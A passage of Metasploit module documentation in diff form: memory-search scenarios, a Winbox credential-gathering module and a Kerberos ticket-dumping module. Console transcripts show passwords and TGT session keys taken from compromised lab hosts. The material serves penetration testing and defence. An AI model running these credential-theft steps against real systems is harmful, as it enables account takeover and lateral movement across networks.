3 meterpreter x64/windows DESKTOP-NO8VQQB\win10 @ DESKTOP-NO8VQQB 192.168.112.1:4444 -> 192.168.112.129:55513 (192.168.112.129)
msf6 post(multi/gather/memory_search) > run session=-1 regex="publickey,password.*" process_ids='' process_names_glob="ssh.*"
[*] Running module against - DESKTOP-NO8VQQB\win10 @ DESKTOP-NO8VQQB (192.168.112.129). This might take a few seconds...
[*] Getting target processes...
[*] Running against the following processes:
ssh.exe (pid: 4292)
[*] Memory Matches for ssh.exe (pid: 4292)
======================================
Match Address Match Length Match Buffer Memory Region Start Memory Region Size
------------- ------------ ------------ ------------------- ------------------
0x0000000A00060DF0 127 "publickey,password......3.......myverysecretpassword....................#.........#.......... 0x0000000A00000000 0x0000000000090000
...........S......................"
[*] Post module execution completed
```
### Windows 10 - Python3 HTTP Server
In this scenario, the Windows target is running the `http.server` module in Python:
```
msf6 post(multi/gather/memory_search) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
3 meterpreter x64/windows DESKTOP-NO8VQQB\win10 @ DESKTOP-NO8VQQB 192.168.112.1:4444 -> 192.168.112.129:55513 (192.168.112.129)
msf6 post(multi/gather/memory_search) > run session=-1 regex="GET /.*" process_ids='' process_names_glob="python.*|[Ww]indows[Tt]erminal.*"
[*] Running module against - DESKTOP-NO8VQQB\win10 @ DESKTOP-NO8VQQB (192.168.112.129). This might take a few seconds...
[*] Getting target processes...
[*] Running against the following processes:
WindowsTerminal.exe (pid: 9168)
python.exe (pid: 2816)
[*] Memory Matches for WindowsTerminal.exe (pid: 9168)
==================================================
Match Address Match Length Match Buffer Memory Region Start Memory Region Size
------------- ------------ ------------ ------------------- ------------------
0x00000121C3458649 127 "GET /.portable HTTP/1.1\" 200 -...::ffff:192.168.112.1 - - [17/Jan/2024 14:36:38] \"GET /favi 0x00000121C3449000 0x000000000001B000
con.ico HTTP/1.1\" 404 -..windows-ter"
[*] Memory Matches for python.exe (pid: 2816)
=========================================
Match Address Match Length Match Buffer Memory Region Start Memory Region Size
------------- ------------ ------------ ------------------- ------------------
0x0000013A0E3017D1 127 "GET /.portable HTTP/1.1\" 200 -.....:.....Q.:...................0.Q.:...0.Q.:.....Q.:.....Q.: 0x0000013A0E270000 0x00000000000FF000
...pAR.:...pAR.:...0.Q.:...0.Q.:..."
0x0000013A1063DC21 127 "GET /.portable HTTP/1.1\" 200 -...t-black.ico...`@l.:.....h.:..............&.............l.&. 0x0000013A105E0000 0x0000000000100000
....l.&.....l.&.....l.&......k.:..."
0x0000013A1063E5B1 127 "GET /.portable HTTP/1.1\" 200 -...b.l.e...o.....P.c.:...s.e.r.s.\\.w.i.n.1.0.\\.s.c.o.o.p.\\. 0x0000013A105E0000 0x0000000000100000
a.p.p.s.\\.w.i.n.d.o.w.s.-.t.e.r.m.i.n."
0x0000013A1067EC41 127 "GET /Images/ HTTP/1.1\" 200 -...@.g.:...p..&....2.................012345........<li><a href=\ 0x0000013A105E0000 0x0000000000100000
"defaults.json\">defaults.json</a></l"
0x0000013A106CADD0 127 "GET /.portable HTTP/1.1...p&.............x..:...P...:...0.l.:....ta$.e$j..k.:... lk.:........ 0x0000013A105E0000 0x0000000000100000
...0.l.:......................&..."
0x0000013A106CF940 127 "GET /.portable HTTP/1.1...........l.:...................Pf.&.....^.&......e.:................ 0x0000013A105E0000 0x0000000000100000
....Sn&....s.......P.l.:...p..&..."
[*] Post module execution completed
```
@@ -0,0 +1,37 @@
## Vulnerable Application
Any Windows host with a `meterpreter` session and Mikrotik Winbox installed.
Winbox can be downloaded [here](https://mikrotik.com/download)
### Installation Steps
1. Download and open Mikrotik Winbox
2. Enter a RouterOS device address into `Connect to`, username into `Login`, password into `Password` and check the flag `Keep Password`
3. Click Connect
## Verification Steps
1. Get a `meterpreter` session on a Windows host.
2. Do: `run post/windows/gather/credentials/winbox_settings`
3. If any users in the system has a `Keep Password` enabled in Winbox, the credentials will be printed out.
## Options
### VERBOSE
- By default verbose is turned off. When turned on, the module will show the HexDump of `settings.cfg.viw` files.
## Scenarios
```
msf6 post(windows/gather/credentials/winbox_settings) > run
[*] VERBOSE: false
[*] Checking Default Locations...
[*] C:\Users\Administrator\AppData\Roaming\Mikrotik\Winbox\settings.cfg.viw not found ....
[*] Found File at C:\Users\FooBar\AppData\Roaming\Mikrotik\Winbox\settings.cfg.viw
[+] Login: ThisIsUsername
[+] Password: ThisIsPassword
[*] Post module execution completed
```
@@ -0,0 +1,405 @@
Manage kerberos tickets on a compromised host. Different actions are available for different tasks. Kerberos tickets are
associated with logon sessions which can be enumerated with the `ENUM_LUIDS` action. s
## Options
### LUID
An optional logon session LUID to target in the DUMP_TICKETS and SHOW_LUID actions. The LUID is expressed in hex, e.g.
`0x11223344`.
### SERVICE
An optional service name wildcard to target in the DUMP_TICKETS action. This option accepts wild cards. For example, to
dump only TGTs use `krbtgt/*` and to only dump tickets for dc.msflab.local, use `*/dc.msflab.local`. Wildcards and
service names are case insensitive.
## Actions
### DUMP_TICKETS
This action allows dumping kerberos tickets from a compromised host. These tickets are loaded into Metasploit's
kerberos ticket cache when Metasploit is connected to a database. If the Meterpreter session is running with
administrative privileges, then the tickets from all logon sessions can be dumped. If the Meterpreter session is not
running with Administrative privileges then only the tickets from the current logon session / current user can be
dumped. If the `LUID` option is set then only the tickets from that logon session will be dumped. Targeting a specific
LUID with the `LUID` option requires administrative privileges.
### ENUM_LUIDS
This action will enumerate the LUIDs of all active logon sessions. Some basic information is printed for each LUID.
### SHOW_LUID
This action will show the LUID and some basic information about the current logon session unless the `LUID` option is
set in which case that logon session is shown.
## Scenarios
In this case the operator lists the currently cached Kerberos tickets in the Metasploit database. After that the
`DUMP_TICKETS` action is used with a service filter to dump the TGTs on the compromised host. Finally, the `klist`
command is used again to show the newly added TGTs.
```
msf6 post(windows/manage/kerberos_tickets) > klist
Kerberos Cache
==============
No tickets
msf6 post(windows/manage/kerberos_tickets) > run SESSION=-1 SERVICE=krbtgt/*
[*] LSA Handle: 0x000001efe1bf7270
[*] LogonSession LUID: 0x00004bc1d
[*] User: MSFLAB\DC$
[*] Session: 0
[*] AuthenticationPackage: Kerberos
[*] LogonType: Network (3)
[*] LogonTime: 2023-08-23 08:33:17 -0400
[*] Ticket[0]
[*] TGT MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230823135453_default_192.168.159.10_mit.kerberos.cca_948767.bin
Primary Principal: DC$@MSFLAB.LOCAL
Ccache version: 4
Creds: 1
Credential[0]:
Server: krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL
Client: DC$@MSFLAB.LOCAL
Ticket etype: 18 (AES256)
Key: e515137250f072d44b7487c09b8033a34ff1c7e96ad20674007c255a0a8de2b0
Subkey: false
Ticket Length: 1006
Ticket Flags: 0x60a10000 (FORWARDABLE, FORWARDED, RENEWABLE, PRE_AUTHENT, CANONICALIZE)
Addresses: 0
Authdatas: 0
Times:
Auth time: 1969-12-31 19:00:00 -0500
Start time: 2023-08-23 08:33:17 -0400
End time: 2023-08-23 18:33:17 -0400
Renew Till: 2023-08-30 08:33:17 -0400
Ticket:
Ticket Version Number: 5
Realm: MSFLAB.LOCAL
Server Name: krbtgt/MSFLAB.LOCAL
Encrypted Ticket Part:
Ticket etype: 18 (AES256)
Key Version Number: 2
Cipher:
L/csyZle+LDn1i7Yqci0vbZCHrjO8CeQXBSix3d1lCR66sR0Zq/ogR/6g3X8yGn9acvGjAtt29ZErQe4FA3ttZ6MA2p8QldvbQCvELLpQkOHKrmzd2YhWy5YxfbwzFpZT0OtFEB0gYW3AQuOyRKk5vCuljZH6bPaz77g8KUejFx80tJbmz6n2GLOzG8rcMiy/i/zYreG6TLnjZJgw3UVABFSjUKs20eSK2Le5OxSKfcBQTwaRp+BPdXWGbMNYWwTUntAZGC5G6DE9xglY0+T2D/9HFSWVesrnduMmzHR9NojQYezHJorMKh7m5/KeNEzuJUDLCkgX/Uscq8dc6XMaFH7aIsg5+nlAZBPTrYtkayun6AaTLJpqLg90ab3iYCZpvdCBKBPapg3271YVHe8i7OaDDJWXMNooi+6Jg+B1cnBRH9qQ5T2k7RQLMNez9P8dvuMkDmFpRz5KOJk+w+Mz6XFeu9g1Z4zXQ6msI060PrwvAENevTN9DKUWtDGBCQMTjBDm75sMA7Aq8KgBqKYUhP+CV+HzgFou4P1/t3l+udRBIYfQw68EHW2dQE/ZZR+oLPPHbCsbnpkp/rSFjdsl0E9Zm4upPty3M+sKd2fdZSLXs5CLBs5WeZmPrXHrHnyC/AnoLNQVTVCtv5EpM50BWooXWKHljLctHxN/W6ZXgqwZ4R7KNYIrtaAsmLrkq2K/z+zsuAWRoDKFtLWZMD9eqfsGi2bRBqPf74+mi1bPXL/1eWlUwmrjr5Buj4kvC8XB+wTRoAkSrjoAx7IglfSIKdW/5N3CX6G+smJWZCsrGIvouTzIzcpHCXgoaHypnm2B9G7yIwkDgpCFd4MW3t8ZrZXOjuReQ6Aiy9mXHlbReX9G3Xl0fj7z4cIKSV4YiyEkjXJE+eAT7GdtJEPFXJJw6Fxhdam+FL+SKVvu4kw+uvqfz72GDG24/KqM3/0L58M96oEd1LHnVoHwuPtfDA7xhvHDu8iYZOkOjDc5cwMCU0MmW5A1cijTuNfSeRRHx6xXLPKkIJH/5XWeg7BAG3lnlOgS/HKj+Uhti7fabZHUvXyGAdA7CJzZ2OUlZY6Acm9JU2EuUfFvnpEjAtasckDA43pb/r4ZNIZPxcq6gpgcdFpZIb8H7bbWdIIinDJfFkEunJ7E1TG9wSbX6j6JfThG31L7EBW+UPHlDa4k1wPFMP3lNgleVUBi0n24T1RBTb6c5W0Cw==
[*] LogonSession LUID: 0x00001052b
[*] User: Window Manager\DWM-1
[*] Session: 1
[*] AuthenticationPackage: Negotiate
[*] LogonType: Interactive (2)
[*] LogonTime: 2023-08-23 08:32:38 -0400
[*] LogonSession LUID: 0x00000aa83
[*] User: \
[*] Session: 0
[*] AuthenticationPackage: NTLM
[*] LogonType: UndefinedLogonType (0)
[*] LogonTime: 2023-08-23 08:32:27 -0400
[-] Failed to call the authentication package. LsaCallAuthenticationPackage authentication package failed with: (0x00000520) ERROR_NO_SUCH_LOGON_SESSION: A specified logon session does not exist. It may already have been terminated.
[*] LogonSession LUID: 0x0000ae359
[*] User: MSFLAB\DC$
[*] Session: 0
[*] AuthenticationPackage: Kerberos
[*] LogonType: Network (3)
[*] LogonTime: 2023-08-23 08:38:08 -0400
[*] LogonSession LUID: 0x0000ae2d3
[*] User: MSFLAB\DC$
[*] Session: 0
[*] AuthenticationPackage: Kerberos
[*] LogonType: Network (3)
[*] LogonTime: 2023-08-23 08:38:08 -0400
[*] LogonSession LUID: 0x00004fff8
[*] User: MSFLAB\smcintyre
[*] Session: 1
[*] AuthenticationPackage: Negotiate
[*] LogonType: Interactive (2)
[*] LogonTime: 2023-08-23 08:33:18 -0400
[*] LogonSession LUID: 0x00004b823
[*] User: MSFLAB\DC$
[*] Session: 0
[*] AuthenticationPackage: Kerberos
[*] LogonType: Network (3)
[*] LogonTime: 2023-08-23 08:33:17 -0400
[*] LogonSession LUID: 0x00000b7c4
[*] User: Font Driver Host\UMFD-0
[*] Session: 0
[*] AuthenticationPackage: Negotiate
[*] LogonType: Interactive (2)
[*] LogonTime: 2023-08-23 08:32:37 -0400
[*] LogonSession LUID: 0x0001f3e4f
[*] User: MSFLAB\DC$
[*] Session: 0
[*] AuthenticationPackage: Kerberos
[*] LogonType: Network (3)
[*] LogonTime: 2023-08-23 09:42:34 -0400
[*] Ticket[0]
[*] TGT MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230823135459_default_192.168.159.10_mit.kerberos.cca_126280.bin
Primary Principal: DC$@MSFLAB.LOCAL
Ccache version: 4
Creds: 1
Credential[0]:
Server: krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL
Client: DC$@MSFLAB.LOCAL
Ticket etype: 18 (AES256)
Key: e515137250f072d44b7487c09b8033a34ff1c7e96ad20674007c255a0a8de2b0
Subkey: false
Ticket Length: 1006
Ticket Flags: 0x60a10000 (FORWARDABLE, FORWARDED, RENEWABLE, PRE_AUTHENT, CANONICALIZE)
Addresses: 0
Authdatas: 0
Times:
Auth time: 1969-12-31 19:00:00 -0500
Start time: 2023-08-23 08:33:17 -0400
End time: 2023-08-23 18:33:17 -0400
Renew Till: 2023-08-30 08:33:17 -0400
Ticket:
Ticket Version Number: 5
Realm: MSFLAB.LOCAL
Server Name: krbtgt/MSFLAB.LOCAL
Encrypted Ticket Part:
Ticket etype: 18 (AES256)
Key Version Number: 2
Cipher:
L/csyZle+LDn1i7Yqci0vbZCHrjO8CeQXBSix3d1lCR66sR0Zq/ogR/6g3X8yGn9acvGjAtt29ZErQe4FA3ttZ6MA2p8QldvbQCvELLpQkOHKrmzd2YhWy5YxfbwzFpZT0OtFEB0gYW3AQuOyRKk5vCuljZH6bPaz77g8KUejFx80tJbmz6n2GLOzG8rcMiy/i/zYreG6TLnjZJgw3UVABFSjUKs20eSK2Le5OxSKfcBQTwaRp+BPdXWGbMNYWwTUntAZGC5G6DE9xglY0+T2D/9HFSWVesrnduMmzHR9NojQYezHJorMKh7m5/KeNEzuJUDLCkgX/Uscq8dc6XMaFH7aIsg5+nlAZBPTrYtkayun6AaTLJpqLg90ab3iYCZpvdCBKBPapg3271YVHe8i7OaDDJWXMNooi+6Jg+B1cnBRH9qQ5T2k7RQLMNez9P8dvuMkDmFpRz5KOJk+w+Mz6XFeu9g1Z4zXQ6msI060PrwvAENevTN9DKUWtDGBCQMTjBDm75sMA7Aq8KgBqKYUhP+CV+HzgFou4P1/t3l+udRBIYfQw68EHW2dQE/ZZR+oLPPHbCsbnpkp/rSFjdsl0E9Zm4upPty3M+sKd2fdZSLXs5CLBs5WeZmPrXHrHnyC/AnoLNQVTVCtv5EpM50BWooXWKHljLctHxN/W6ZXgqwZ4R7KNYIrtaAsmLrkq2K/z+zsuAWRoDKFtLWZMD9eqfsGi2bRBqPf74+mi1bPXL/1eWlUwmrjr5Buj4kvC8XB+wTRoAkSrjoAx7IglfSIKdW/5N3CX6G+smJWZCsrGIvouTzIzcpHCXgoaHypnm2B9G7yIwkDgpCFd4MW3t8ZrZXOjuReQ6Aiy9mXHlbReX9G3Xl0fj7z4cIKSV4YiyEkjXJE+eAT7GdtJEPFXJJw6Fxhdam+FL+SKVvu4kw+uvqfz72GDG24/KqM3/0L58M96oEd1LHnVoHwuPtfDA7xhvHDu8iYZOkOjDc5cwMCU0MmW5A1cijTuNfSeRRHx6xXLPKkIJH/5XWeg7BAG3lnlOgS/HKj+Uhti7fabZHUvXyGAdA7CJzZ2OUlZY6Acm9JU2EuUfFvnpEjAtasckDA43pb/r4ZNIZPxcq6gpgcdFpZIb8H7bbWdIIinDJfFkEunJ7E1TG9wSbX6j6JfThG31L7EBW+UPHlDa4k1wPFMP3lNgleVUBi0n24T1RBTb6c5W0Cw==
[*] LogonSession LUID: 0x0001243b3
[*] User: MSFLAB\DC$
[*] Session: 0
[*] AuthenticationPackage: Kerberos
[*] LogonType: Network (3)
[*] LogonTime: 2023-08-23 08:47:47 -0400
[*] LogonSession LUID: 0x0000003e5
[*] User: NT AUTHORITY\LOCAL SERVICE
[*] Session: 0
[*] AuthenticationPackage: Negotiate
[*] LogonType: Service (5)
[*] LogonTime: 2023-08-23 08:32:38 -0400
[*] LogonSession LUID: 0x0000ae390
[*] User: MSFLAB\DC$
[*] Session: 0
[*] AuthenticationPackage: Kerberos
[*] LogonType: Network (3)
[*] LogonTime: 2023-08-23 08:38:08 -0400
[*] LogonSession LUID: 0x0000ae320
[*] User: MSFLAB\DC$
[*] Session: 0
[*] AuthenticationPackage: Kerberos
[*] LogonType: Network (3)
[*] LogonTime: 2023-08-23 08:38:08 -0400
[*] LogonSession LUID: 0x00000b7be
[*] User: Font Driver Host\UMFD-1
[*] Session: 1
[*] AuthenticationPackage: Negotiate
[*] LogonType: Interactive (2)
[*] LogonTime: 2023-08-23 08:32:37 -0400
[*] LogonSession LUID: 0x00000b76e
[*] User: Font Driver Host\UMFD-0
[*] Session: 0
[*] AuthenticationPackage: Negotiate
[*] LogonType: Interactive (2)
[*] LogonTime: 2023-08-23 08:32:37 -0400
[*] LogonSession LUID: 0x0000104e9
[*] User: Window Manager\DWM-1
[*] Session: 1
[*] AuthenticationPackage: Negotiate
[*] LogonType: Interactive (2)
[*] LogonTime: 2023-08-23 08:32:38 -0400
[*] LogonSession LUID: 0x00000b77b
[*] User: Font Driver Host\UMFD-1
[*] Session: 1
[*] AuthenticationPackage: Negotiate
[*] LogonType: Interactive (2)
[*] LogonTime: 2023-08-23 08:32:37 -0400
[*] LogonSession LUID: 0x0000003e7
[*] User: MSFLAB\DC$
[*] Session: 0
[*] AuthenticationPackage: Negotiate
[*] LogonType: UndefinedLogonType (0)
[*] LogonTime: 2023-08-23 08:32:26 -0400
[*] Ticket[0]
[*] TGT MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230823135505_default_192.168.159.10_mit.kerberos.cca_341258.bin
Primary Principal: DC$@MSFLAB.LOCAL
Ccache version: 4
Creds: 1
Credential[0]:
Server: krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL
Client: DC$@MSFLAB.LOCAL
Ticket etype: 18 (AES256)
Key: 810290bb8e930190000e05de7abee1f095bfe29527cca5ad9320cf3d86260f08
Subkey: false
Ticket Length: 1006
Ticket Flags: 0x40e10000 (FORWARDABLE, RENEWABLE, INITIAL, PRE_AUTHENT, CANONICALIZE)
Addresses: 0
Authdatas: 0
Times:
Auth time: 1969-12-31 19:00:00 -0500
Start time: 2023-08-23 08:33:17 -0400
End time: 2023-08-23 18:33:17 -0400
Renew Till: 2023-08-30 08:33:17 -0400
Ticket:
Ticket Version Number: 5
Realm: MSFLAB.LOCAL
Server Name: krbtgt/MSFLAB.LOCAL
Encrypted Ticket Part:
Ticket etype: 18 (AES256)
Key Version Number: 2
Cipher:
tLtOsjj8akj/iTEx/Kgidt9rW9sZ48SgEANNEpLhR1SmtI3/0e9Lq6oh35XWTKACrkFJGEOqSeBAaHwhArH2YyskGPadY2lL1qJI0zjhipeAZu4gWD4vpf2sKSL/ksOo9sthfxVMEVfq0QSxR37mPZwYI1LOyMcCOeckLGdHdlQCO7WwnbDpToyTq7TYzn13XmX0nyRFBIN436camSwYO/xRsWkhpVQKQIRgAjl7xCBMLT8/YGYangAASjBIxiXbXOtlj9zBwBjfA36cXz2yUp7MjC2kZLYI//xZZG1VVOa9nAG8vkkyi7GrXitG/m2X5s7YOG7XyvDOoC5yS7Yti+P2jGvPiWjAOSDmlwLolHSjeSIYCKwxK5Dm/LyMtUVtJRAb702FdI7lSH8oZCxQBQs92j3PKTBIMzz2+eY4r74Nemh+zIH86M4llhELhhyz86V9Utox9iURueY32LVieRIaTXmWXCGyopENrTt+LHPShBAk+Q8P3y+SGwVGxmm/CVKFN2R7IZNFiBxw627Vhw2pjFfVDjfsRV9mAvF6Axhks2aSO5rXZNZY1xW9iEbkRI3wnVYR9zgeSILxMNjyiVZvGFSllYnRWpDOqSe4n0/xw/ytD8gAHBYveBxzMPvTHN76Kcs1MGmhpsMdMBUo2UT4eeqBP//rXnuBtneb5maz0Ak+VwDZOf8Q76gcp66FIOGlRWPxpRgaCz2ISHeJ+istqRBm8gGbfqfHAbZM2PTzyyDHROuf3LgVyfhNUt8r7eYAgDCsfKBq6bq7O/KcQaBOfQN5yAgnt6CuAjyIqFaaXlsbQZ2D5s1p4WYUjrEpywWIoTQWLbCSYSAjOz+eYv50MQ3oE43hRQtg5eT0PCVmyG30VDfZDISq3Yj0hDMu20nuVuZ2cVvzccEBNgn9SRnQyYRRZQb6w9Zgs1/VYiY2SLZjmbYAo54TNDVJyseJ3Egl3Xp8BNccUkxZomgUOwP58q7XQk8lDzi4ApJMVJ0M8THDySVBJX2sB7oNn924fzghqW+wfzsXVnI2O9aLxzYnygHyp3h7ypt83sXyMTLD4tqEZ0DvcOvCoNnvis7VN8ZvvhLADoOxpJPALc8n+q70rfCdukZQpICUhLc16Z+JZJkGdAZtmi1Um+Cwy7lmBA+IvRp+abyklx19ulv55CbU7K8NAftJUOof/MgmAre+pOmwLofZgaSu7wVQ65fBeb8bjA==
[*] Ticket[1]
[*] TGT MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230823135505_default_192.168.159.10_mit.kerberos.cca_389858.bin
Primary Principal: DC$@MSFLAB.LOCAL
Ccache version: 4
Creds: 1
Credential[0]:
Server: krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL
Client: DC$@MSFLAB.LOCAL
Ticket etype: 18 (AES256)
Key: 810290bb8e930190000e05de7abee1f095bfe29527cca5ad9320cf3d86260f08
Subkey: false
Ticket Length: 1006
Ticket Flags: 0x40e10000 (FORWARDABLE, RENEWABLE, INITIAL, PRE_AUTHENT, CANONICALIZE)
Addresses: 0
Authdatas: 0
Times:
Auth time: 1969-12-31 19:00:00 -0500
Start time: 2023-08-23 08:33:17 -0400
End time: 2023-08-23 18:33:17 -0400
Renew Till: 2023-08-30 08:33:17 -0400
Ticket:
Ticket Version Number: 5
Realm: MSFLAB.LOCAL
Server Name: krbtgt/MSFLAB.LOCAL
Encrypted Ticket Part:
Ticket etype: 18 (AES256)
Key Version Number: 2
Cipher:
tLtOsjj8akj/iTEx/Kgidt9rW9sZ48SgEANNEpLhR1SmtI3/0e9Lq6oh35XWTKACrkFJGEOqSeBAaHwhArH2YyskGPadY2lL1qJI0zjhipeAZu4gWD4vpf2sKSL/ksOo9sthfxVMEVfq0QSxR37mPZwYI1LOyMcCOeckLGdHdlQCO7WwnbDpToyTq7TYzn13XmX0nyRFBIN436camSwYO/xRsWkhpVQKQIRgAjl7xCBMLT8/YGYangAASjBIxiXbXOtlj9zBwBjfA36cXz2yUp7MjC2kZLYI//xZZG1VVOa9nAG8vkkyi7GrXitG/m2X5s7YOG7XyvDOoC5yS7Yti+P2jGvPiWjAOSDmlwLolHSjeSIYCKwxK5Dm/LyMtUVtJRAb702FdI7lSH8oZCxQBQs92j3PKTBIMzz2+eY4r74Nemh+zIH86M4llhELhhyz86V9Utox9iURueY32LVieRIaTXmWXCGyopENrTt+LHPShBAk+Q8P3y+SGwVGxmm/CVKFN2R7IZNFiBxw627Vhw2pjFfVDjfsRV9mAvF6Axhks2aSO5rXZNZY1xW9iEbkRI3wnVYR9zgeSILxMNjyiVZvGFSllYnRWpDOqSe4n0/xw/ytD8gAHBYveBxzMPvTHN76Kcs1MGmhpsMdMBUo2UT4eeqBP//rXnuBtneb5maz0Ak+VwDZOf8Q76gcp66FIOGlRWPxpRgaCz2ISHeJ+istqRBm8gGbfqfHAbZM2PTzyyDHROuf3LgVyfhNUt8r7eYAgDCsfKBq6bq7O/KcQaBOfQN5yAgnt6CuAjyIqFaaXlsbQZ2D5s1p4WYUjrEpywWIoTQWLbCSYSAjOz+eYv50MQ3oE43hRQtg5eT0PCVmyG30VDfZDISq3Yj0hDMu20nuVuZ2cVvzccEBNgn9SRnQyYRRZQb6w9Zgs1/VYiY2SLZjmbYAo54TNDVJyseJ3Egl3Xp8BNccUkxZomgUOwP58q7XQk8lDzi4ApJMVJ0M8THDySVBJX2sB7oNn924fzghqW+wfzsXVnI2O9aLxzYnygHyp3h7ypt83sXyMTLD4tqEZ0DvcOvCoNnvis7VN8ZvvhLADoOxpJPALc8n+q70rfCdukZQpICUhLc16Z+JZJkGdAZtmi1Um+Cwy7lmBA+IvRp+abyklx19ulv55CbU7K8NAftJUOof/MgmAre+pOmwLofZgaSu7wVQ65fBeb8bjA==
[*] LogonSession LUID: 0x0000003e4
[*] User: MSFLAB\DC$
[*] Session: 0
[*] AuthenticationPackage: Negotiate
[*] LogonType: Service (5)
[*] LogonTime: 2023-08-23 08:32:37 -0400
[*] Ticket[0]
[*] TGT MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230823135507_default_192.168.159.10_mit.kerberos.cca_909298.bin
Primary Principal: DC$@MSFLAB.LOCAL
Ccache version: 4
Creds: 1
Credential[0]:
Server: krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL
Client: DC$@MSFLAB.LOCAL
Ticket etype: 18 (AES256)
Key: b5c64f9aa85e1e31c9b17a28093bb39de235beeca53d844e10bbf4764cf7402e
Subkey: false
Ticket Length: 1006
Ticket Flags: 0x40e10000 (FORWARDABLE, RENEWABLE, INITIAL, PRE_AUTHENT, CANONICALIZE)
Addresses: 0
Authdatas: 0
Times:
Auth time: 1969-12-31 19:00:00 -0500
Start time: 2023-08-23 09:32:46 -0400
End time: 2023-08-23 19:32:46 -0400
Renew Till: 2023-08-30 09:32:46 -0400
Ticket:
Ticket Version Number: 5
Realm: MSFLAB.LOCAL
Server Name: krbtgt/MSFLAB.LOCAL
Encrypted Ticket Part:
Ticket etype: 18 (AES256)
Key Version Number: 2
Cipher:
a5YMKhDbytSNzz+IqsxyXBURXqaCyVIpWDHu4E1wh0Q9MIVTXn163vkGYUz0X4LuxanqMXwttX8PdYI2V/Lxx6JcPzB50Jt0q4ffw0hsE/swVYEuRI8PyZl13DxE0wlGoaps9GC4l3xZM4nbqiAkPFneJQzrYgXcBWZ6ZlxJlQyGx7hOJLcsdU2KkqNOH8kRZrL/wkKNVKfHkDIkNPSkmYdSweZzuVce7v+yeNBOJpvK4odoE8ldWR6fhOGh5uSj5Fe2G+6ZG1IZREvnxMsqWQ/Ms3Os+1ZLZfH9l6sVi59MHufw98wxMFrKOBrceP0LkThwT29WXO3K3oCojYrSwLznMRKbKnUITRqzKT45a1wB/F556f4ova1GhUAmmlF7SxkGRlDuzh6c8zuKr91gaMQnzd1R95QSDl5xMP4HvWtz0N4bryhez8VbLlnUIFPdrhXtpOpp8Gp8cvEedwnmEmS7AUZyag8ohP40EgvtTXy8No8wuw0/imgIIhmRWlOvsTzUbRpoFMsNHS9h0+s6QhOyQdffMwqGea5c7inLpzJ2LofERlCvNrXVJpJ/+rkPGJasHzcnB216cFnSYuOUYzwIl9nSg1FY5jeOOOj5bcKptUuJonwldq/KJRKWq9io2bEJwOVwteBfRbz+E2KKShjWWMxS0sYhKLG1ZOUZtdLcUfwrwajexlJxM1aV48Y5yvDz7WWdxCOhNRmrjx2qmnOmbCNLgigJByqtcsUmeftfEZte5bdIWGECXOGFLsOdaLtUbW1mRPxDxHRuwTkcB4huzbtUk31pkljGDXp6LXUFOJD/IpJ3PNR6Xcf7jQ60QIkj99wT8xUHcNgJE/I9p8p5Y5EhgsY0KQOMu/OrFD0ah/VXoAl6vOS7INZXRrdVUFchBNKnRBX8aFBnIJ9pNjn1eLdGOrlpcd6HwCz9pCh9yJVs5kjxJWhOoyhOWWtNv/aghw0xPrvMTOTk8YRqe29hihpvHyMXJTKGTDvp6rkehWIC8G5/7XPcaeSuX6yKGUA6o6QaeTBLeiOHDH45AcapY12doQpxf7COrt31+U5xH6BxWwosp+I+axdf9cV63Z4lt2BToP5RZJvTIHe2gpn2trIuo40xkEQEMLKyvsI1frRG9hecUJzSXWXvTIkAwim54SY3rVcs6I6KUulNPyvXw2XVFCGSEb8XLfpl8zc3+gv7MB9Yv6T74M4rcF0guo62vQ==
[*] Ticket[1]
[*] TGT MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230823135508_default_192.168.159.10_mit.kerberos.cca_938606.bin
Primary Principal: DC$@MSFLAB.LOCAL
Ccache version: 4
Creds: 1
Credential[0]:
Server: krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL
Client: DC$@MSFLAB.LOCAL
Ticket etype: 18 (AES256)
Key: b5c64f9aa85e1e31c9b17a28093bb39de235beeca53d844e10bbf4764cf7402e
Subkey: false
Ticket Length: 1006
Ticket Flags: 0x40e10000 (FORWARDABLE, RENEWABLE, INITIAL, PRE_AUTHENT, CANONICALIZE)
Addresses: 0
Authdatas: 0
Times:
Auth time: 1969-12-31 19:00:00 -0500
Start time: 2023-08-23 09:32:46 -0400
End time: 2023-08-23 19:32:46 -0400
Renew Till: 2023-08-30 09:32:46 -0400
Ticket:
Ticket Version Number: 5
Realm: MSFLAB.LOCAL
Server Name: krbtgt/MSFLAB.LOCAL
Encrypted Ticket Part:
Ticket etype: 18 (AES256)
Key Version Number: 2
Cipher:
a5YMKhDbytSNzz+IqsxyXBURXqaCyVIpWDHu4E1wh0Q9MIVTXn163vkGYUz0X4LuxanqMXwttX8PdYI2V/Lxx6JcPzB50Jt0q4ffw0hsE/swVYEuRI8PyZl13DxE0wlGoaps9GC4l3xZM4nbqiAkPFneJQzrYgXcBWZ6ZlxJlQyGx7hOJLcsdU2KkqNOH8kRZrL/wkKNVKfHkDIkNPSkmYdSweZzuVce7v+yeNBOJpvK4odoE8ldWR6fhOGh5uSj5Fe2G+6ZG1IZREvnxMsqWQ/Ms3Os+1ZLZfH9l6sVi59MHufw98wxMFrKOBrceP0LkThwT29WXO3K3oCojYrSwLznMRKbKnUITRqzKT45a1wB/F556f4ova1GhUAmmlF7SxkGRlDuzh6c8zuKr91gaMQnzd1R95QSDl5xMP4HvWtz0N4bryhez8VbLlnUIFPdrhXtpOpp8Gp8cvEedwnmEmS7AUZyag8ohP40EgvtTXy8No8wuw0/imgIIhmRWlOvsTzUbRpoFMsNHS9h0+s6QhOyQdffMwqGea5c7inLpzJ2LofERlCvNrXVJpJ/+rkPGJasHzcnB216cFnSYuOUYzwIl9nSg1FY5jeOOOj5bcKptUuJonwldq/KJRKWq9io2bEJwOVwteBfRbz+E2KKShjWWMxS0sYhKLG1ZOUZtdLcUfwrwajexlJxM1aV48Y5yvDz7WWdxCOhNRmrjx2qmnOmbCNLgigJByqtcsUmeftfEZte5bdIWGECXOGFLsOdaLtUbW1mRPxDxHRuwTkc